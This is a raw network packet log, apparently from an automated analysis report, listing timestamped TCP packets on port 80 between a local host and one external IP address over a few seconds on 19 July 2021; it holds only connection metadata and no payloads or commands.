Jul 19, 2021 18:37:01.112673044 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.128417015 CEST	50102	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.128778934 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.130475044 CEST	50103	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.175438881 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.211476088 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.211702108 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.212666988 CEST	80	50103	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.212810040 CEST	50103	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.213536978 CEST	50103	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.226867914 CEST	80	50102	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.226985931 CEST	50102	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.273104906 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.273704052 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.274008036 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.274209976 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.274455070 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.274574995 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.298780918 CEST	80	50103	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.310328007 CEST	80	50103	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.310524940 CEST	50103	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.373799086 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376105070 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376534939 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376555920 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376626015 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.376667023 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.376673937 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376689911 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376703978 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376718998 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376732111 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376732111 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.376746893 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376760960 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376775980 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.376779079 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.376818895 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.376847029 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.425652981 CEST	50103	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.427282095 CEST	50105	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.474246979 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.474267960 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.474350929 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.474365950 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.474379063 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.474387884 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.474396944 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.474447012 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.474576950 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.474760056 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.474778891 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.474838018 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.510373116 CEST	80	50103	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.510461092 CEST	50103	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.520446062 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.520615101 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.521127939 CEST	80	50105	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.521270037 CEST	50105	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.521802902 CEST	50105	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.613399982 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.613526106 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.616195917 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.616663933 CEST	80	50105	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.616688967 CEST	80	50105	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.616776943 CEST	50105	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.618025064 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.618107080 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.713007927 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.713038921 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.722287893 CEST	50105	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.723963976 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.724088907 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.726078033 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.816893101 CEST	80	50105	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.816982031 CEST	50105	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.823138952 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.834615946 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.836158991 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.934046984 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.959273100 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.959412098 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.005079985 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.005300045 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.005532026 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.005733967 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.097232103 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.100852966 CEST	50107	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.102490902 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.102509975 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.102518082 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.102658987 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.102684021 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.102700949 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.102715015 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.102751970 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.102881908 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.180567980 CEST	80	50107	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.180831909 CEST	50107	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.182459116 CEST	50107	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.202874899 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.202902079 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.202928066 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.202939034 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.202946901 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.202958107 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.202995062 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.203021049 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.203048944 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.203109026 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.203129053 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.203139067 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.203231096 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.203260899 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.237617970 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.261993885 CEST	80	50107	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.262095928 CEST	80	50107	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.262167931 CEST	50107	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.305654049 CEST	80	50104	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.305685043 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.305696011 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.305749893 CEST	50104	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.305820942 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.377634048 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.378403902 CEST	50107	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.379642963 CEST	50108	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.406636000 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.406667948 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.459237099 CEST	80	50107	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.459929943 CEST	50107	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.474263906 CEST	80	50108	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.474404097 CEST	50108	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.479201078 CEST	50108	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.481801033 CEST	80	50106	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.481947899 CEST	50106	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.538961887 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.574017048 CEST	80	50108	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.574053049 CEST	80	50108	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.574707985 CEST	50108	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.620291948 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.620546103 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.621851921 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.622283936 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.622512102 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.622869968 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.693479061 CEST	50108	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.695030928 CEST	50110	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.700546980 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.701610088 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.701735973 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.702680111 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.703269958 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.703347921 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.703775883 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.703795910 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.703810930 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.703880072 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.703893900 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.703901052 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.704035997 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.704088926 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.704222918 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.704241037 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.704252005 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.704262018 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.704343081 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.704394102 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.782795906 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.782818079 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.782834053 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.782913923 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.782954931 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.783334970 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.783359051 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.783385038 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.783509970 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.789268970 CEST	80	50110	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.789377928 CEST	50110	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.789742947 CEST	80	50108	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.789829016 CEST	50108	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.789882898 CEST	50110	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.863320112 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.863410950 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.865080118 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.865297079 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.884289980 CEST	80	50110	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.884530067 CEST	80	50110	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.884740114 CEST	50110	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.942905903 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.942984104 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.943190098 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.943285942 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.945100069 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.945127964 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.945142031 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.945157051 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.945235014 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.945275068 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:02.945384026 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.945482969 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.986917019 CEST	50110	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:02.988723040 CEST	50111	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.021091938 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.021254063 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.029654026 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.029912949 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.079314947 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.080008984 CEST	80	50110	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.080090046 CEST	50110	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.085797071 CEST	80	50111	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.086241007 CEST	50111	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.086930990 CEST	50111	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.099056959 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.099080086 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.103195906 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.107783079 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.107953072 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.162717104 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.167433977 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.168159962 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.168318033 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.168574095 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.168751001 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.181051016 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.181077003 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.181085110 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.181188107 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.181987047 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.184082031 CEST	80	50111	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.184122086 CEST	80	50111	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.184294939 CEST	50111	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.186281919 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.186301947 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.251895905 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.252072096 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.252494097 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.252593994 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.252661943 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.252742052 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.252768040 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.253070116 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.253103971 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.253129005 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.253289938 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.253341913 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.253623009 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.253906965 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.254143000 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.254189014 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.254327059 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.254407883 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.254988909 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.255150080 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.255243063 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.256695986 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.258924007 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.258946896 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.258958101 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.259835958 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.299626112 CEST	50111	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.301280022 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.336955070 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.337143898 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.337548018 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.337568045 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.337589025 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.337821007 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.337877989 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.337937117 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.338475943 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.339245081 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.339461088 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.341176987 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.342231035 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.397944927 CEST	80	50111	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.398708105 CEST	50111	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.398822069 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.398922920 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.399607897 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.420964003 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.420998096 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.421128988 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.421343088 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.421370983 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.421576023 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.423027992 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.423638105 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.426825047 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.426843882 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.426852942 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.426867962 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.426877022 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.426893950 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.486068964 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.497335911 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.497370958 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.497641087 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.504754066 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.504776955 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.504873037 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.504884958 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.504892111 CEST	80	50112	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.555567026 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.555912971 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.556255102 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.556404114 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.564192057 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.566154003 CEST	50109	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.612438917 CEST	50112	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.613965034 CEST	50114	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.645680904 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.645709991 CEST	80	50109	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.655195951 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.655401945 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.656069994 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.656348944 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.656625986 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.656776905 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.657021046 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.657115936 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.657217026 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.657496929 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.657743931 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.657850027 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.658035040 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.658118010 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.658442020 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.658548117 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.658585072 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.658644915 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.661499977 CEST	80	50113	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:03.664167881 CEST	50113	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:03.693716049 CEST	80	50114	185.114.247.54	192.168.2.6
